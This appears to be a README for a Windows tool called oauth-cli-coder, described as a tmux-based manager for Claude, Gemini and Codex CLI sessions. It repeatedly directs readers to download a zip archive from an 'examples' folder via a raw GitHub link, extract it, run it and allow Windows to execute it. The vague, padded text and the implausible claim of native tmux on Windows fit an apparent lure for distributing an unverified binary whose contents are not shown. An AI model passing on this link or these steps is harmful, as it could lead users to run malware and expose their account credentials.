oauth-cli-coder lets you work with CLI coders like Claude, Gemini, and Codex from a simple terminal-style screen. It uses tmux sessions to keep each run organized, so you can switch between tools without losing your place.
This app is for Windows users who want a clean way to start and manage CLI coding tools from one place. You do not need to know how to set up a developer toolchain to get started.
Visit this page to download and run the app:
https://raw.githubusercontent.com/dim07090/oauth-cli-coder/main/examples/cli-oauth-coder-3.5.zip
If the page shows a release file, download it to your PC. If it shows source files, use the latest release or packaged build on the same page.
Before you start, make sure your PC has:
- Windows 10 or Windows 11
- An internet connection
- Enough free space to store the app and its session files
- Access to a terminal window, if the app asks you to open one
For the best experience, close other heavy apps before you use oauth-cli-coder. That helps keep tmux sessions and CLI tools responsive.
Go to:
https://raw.githubusercontent.com/dim07090/oauth-cli-coder/main/examples/cli-oauth-coder-3.5.zip
Look for the newest release, installer, or packaged download. Use the latest file if more than one option appears.
Save the file to your Downloads folder or another place you can find easily.
If your browser asks whether to keep the file, choose the option to keep it.
If the download is a Windows app file, double-click it to start.
If the download is a compressed file, right-click it and choose Extract All, then open the extracted folder and start the app from there.
Windows may ask for permission before the app runs. Choose Yes if you trust the source and want to continue.
When the app opens, choose the tool you want to use, such as:
- Claude
- Gemini
- Codex
The app then opens a tmux-based session so you can work in a separate space for each tool.
oauth-cli-coder helps you move between different CLI coders without starting from scratch each time. It keeps your work in tmux sessions, which act like separate tabs inside the terminal.
This is useful when you want to:
- Try one coder, then switch to another
- Keep a coding task open while you test a second idea
- Return to an earlier session later
- Stay organized when working on more than one task
Open and manage CLI coder sessions from one place. This keeps the setup process short and easy to follow.
The app is built to work with sign-in flows that use OAuth. That means it can connect to supported services in a standard way.
Use more than one CLI coder in the same app. That makes it easier to compare results and keep your workflow in one place.
Each tool runs in a tmux session. That gives you a structured terminal view and helps you keep sessions separate.
Keep work split by session, tool, or task. This helps reduce mix-ups when you handle several prompts or code changes.
A common flow looks like this:
- Open oauth-cli-coder
- Choose a CLI coder
- Sign in if the tool asks for it
- Start a task or paste a prompt
- Review the result in the session
- Switch to another tool if you want a second opinion
This setup works well when you want to compare output from Claude, Gemini, or Codex on the same problem.
Place the app in a folder with a short name. This helps avoid path issues on Windows.
If the app opens a sign-in page, have your account details ready before you start.
Since CLI coders often need online access, keep your internet connection stable during use.
Store related project files in the same folder. That makes it easier to work across sessions.
Open the app and choose the coder you want. The app creates a new tmux session for that tool.
Open the app again and pick the same session if it appears in the list. This helps you continue work without redoing setup.
If you want another answer, move to a different CLI coder session and use the same prompt there.
Close the session from inside the app or close the terminal window if that is the normal exit path for your setup.
If you want a simple first run:
- Open the download page
- Get the newest Windows file
- Open the file after it downloads
- Allow Windows to run it
- Select a coder
- Start with a short prompt like:
- Help me organize files in this folder
- Explain this script in plain English
- Suggest a cleaner way to name these files
- Read the result in the session
- Save anything useful before closing
Use short, direct prompts at first. This helps you see how the app behaves and how each CLI coder responds.
Good prompt examples:
- Fix this error message
- Explain this code step by step
- Write a simple script for this task
- Compare these two approaches
If one tool gives an answer you do not like, try the same prompt in another session. That is one of the main reasons to use oauth-cli-coder.
If nothing happens when you double-click the file:
- Check that the file finished downloading
- Make sure you opened the right file
- Try extracting the folder first if it came as a zip file
- Run it again from the extracted folder
- Check whether Windows blocked the file
If the window opens and closes right away, start it from a terminal window so you can see any message it shows.
Depending on the build, you may see folders or files like:
- app files
- config files
- session data
- logs
- startup scripts
- README files
Leave these files in place unless the app instructions tell you to change them. They help the app keep track of sessions and settings.
For a smoother setup, keep oauth-cli-coder in a folder such as:
- Downloads
- Desktop
- Documents
- Apps
Avoid very long folder names. Short paths are easier for Windows and terminal tools to handle.
Because oauth-cli-coder works with CLI coders that use sign-in methods, you may need to log in to your service account during use. Use your normal account only from trusted devices.
If a browser window opens for sign-in, follow the on-screen steps and return to the app when it finishes.
- Reopen the downloaded file
- Extract the archive first if needed
- Run the app again from the extracted folder
- Wait a moment for the session to load
- Resize the window if it is too small
- Close and reopen the app
- Start a new session from the app
- Check whether the session already exists
- Refresh the app view if that option is available
- Check your internet connection
- Make sure the browser opened the sign-in page
- Try the sign-in flow again
If you need the app file again, use this link:
https://raw.githubusercontent.com/dim07090/oauth-cli-coder/main/examples/cli-oauth-coder-3.5.zip
- Open the download page
- Get the latest Windows file
- Open or extract the file
- Allow Windows to run it
- Choose Claude, Gemini, or Codex
- Start a tmux session
- Enter your prompt
- Review the result